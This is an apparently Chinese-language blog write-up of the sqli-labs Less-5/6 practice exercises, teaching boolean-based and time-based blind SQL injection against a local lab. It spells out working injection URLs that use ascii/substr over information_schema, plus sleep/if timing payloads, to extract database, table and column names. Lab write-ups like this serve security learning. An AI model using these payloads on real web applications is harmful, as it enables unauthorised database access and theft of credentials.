sqli-labs | Less-5/6 基于布尔型和基于时间盲注
基于布尔型的盲注
Less5、Less6的返回值一样,都是不返回具体数据,只有返回“You are in”表示返回结果为真 如果没有这串字返回结果为假。
这样的题型就想在你面前的是一个机器人,它只会回答你是或者不是,你可以问:数据库的第一个字符是不是‘a’啊? 这样类似的问题 来得到你想要的信息。


在url ID中输入双引号能发现出现报错 (和Less输入单引号报错一样)

随后尝试注入点逻辑
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and 1=1 --
返回“You are in…”
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and 1=2 --
返回空
基于布尔型的注入常用函数
| 函数 | 用法 |
|---|---|
| left() | left(a,b)表示从a左侧截取b位 正确返回1 反之返回0 |
| regexp | select user() regexp’r’ 从左向右匹配 全部正确返回1 反之返回0 |
| like | select user() like’ro%’ 与regexp 一样 |
| substr | select (a,b,c) 从位置b开始,截取a字符串c位长度 |
| ascii() | 转化为asiii码 |
| limit x,y | 从sql查询结果中第x开始返回y条结果 |
然后基于它返回的布尔值 我们依次猜测得到我们需要的东西
譬如
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >150 --
猜测数据库第一个字母的ascii码值是否大于150,若返回假
猜测>90,返回真
猜测>100,返回假
猜测>95 返回真
… …
就这样通过二分形式一点点缩小范围 最后得到结果 =99;
说明数据库第一个字母为c
就这样手工注入猜测
猜测表名
ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>117 --
猜测字段名
ascii(substr((select column_name from information_schema.columns where table_name='user' limit 1,1),1,1))>117 --
最后得到我们想要的信息如user,password
基于时间的盲注
| 函数 | 说明 |
|---|---|
| sleep(second) | 休眠second秒数 |
| benchmark(times,expr1) | 将expr1执行times次(性能测试用) |
| benchmark(times,expr1) | 将expr1执行times次(性能测试用) |
| if(expr,true,false) | expr结果为真返回true位置,反之 |
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and sleep(3) --
在and后面添加sleep函数,发现网页大致停顿三秒后返回空,这是因为sleep(3)执行后默认返回0,1和0 and运算后返回值为0即false。
可以通过改变if()中true false 字段为系统休眠时间,以此来判断我们执行的语句的正确与否
例如Less 6
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>150),sleep(5),sleep(0)) --
如果这个数据库中表的第一个字符的ascii码大于150 网页会大致休眠五秒,否则直接响应结果。
本文深入探讨了sqli-labs中Less-5/6的布尔型和时间盲注攻击。通过猜表名、字段名,利用返回的"You are in"标志进行布尔型盲注,借助sleep函数进行时间盲注,逐步揭示数据库信息。
800

被折叠的 条评论
为什么被折叠?



